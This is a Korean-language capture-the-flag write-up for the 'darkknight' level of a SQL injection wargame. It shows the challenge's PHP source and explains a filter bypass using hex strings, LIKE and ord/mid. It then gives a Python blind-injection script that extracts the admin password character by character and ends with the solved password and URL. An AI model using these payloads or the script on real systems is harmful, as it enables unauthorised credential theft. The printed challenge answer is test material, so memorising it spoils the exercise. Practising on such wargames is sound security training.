ascii는 ord로 우회 가능<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
highlight_file(__FILE__);
?>
이 문제는 직전에 풀었던 Golem 문제에 추가적인 필터링을 더한 문제이다.
이 문제는 저번 문제에서 필터링 당한 =, substr 를 제외하고도 공격을 수행하는데 필수적이었던 ', ascii가 추가로 필터링 당했다.
이전 문제에서 사용한 것처럼 '이 필터링 당했으므로 admin을 hex 값으로 바꾸고 ascii와 같은 역할을 하는 ord을 사용해서 공격을 시도할 것이다.
처음에는 기존에 사용하던 코드를 기반으로 짜보았는데 이상한 오류가 발생하여서 새로운 마음으로 새로 짜보았다. 그냥 비슷비슷한 코드이다. 조금 친절함을 업그레이드시켰다.
import requests
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?'
cookies={'PHPSESSID' : '9dqlh2dhb390omeha65bt457ns'}
def password_length():
len_pw=0
while 1 :
len_pw += 1
print(len_pw)
value = "1 || id like 0x61646d696e && length(pw) like {} #".format(len_pw)
Parameter={'no':value}
response = requests.get(url, params=Parameter, cookies=cookies)
if "Hello admin" in response.text:
print("password length : ", len_pw)
break
return len_pw
lenght = password_length()
def find_pw(len_pw):
pw = ''
for i in range(1, len_pw + 1):
print(i, "번째 찾는 중")
for j in range(32, 128):
value = "1 || id like 0x61646d696e && ord(mid(pw, {}, 1)) like {} #".format(i, j)
Parameter = {"no": value}
response = requests.get(url, params=Parameter, cookies=cookies)
print(url+'no='+value)
if "Hello admin" in response.text:
print(chr(j))
pw += chr(j)
break
return pw
print(find_pw(lenght))
스크립트를 실행해보면 비밀번호는 0b70ea1f이 나온다.
https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=0b70ea1f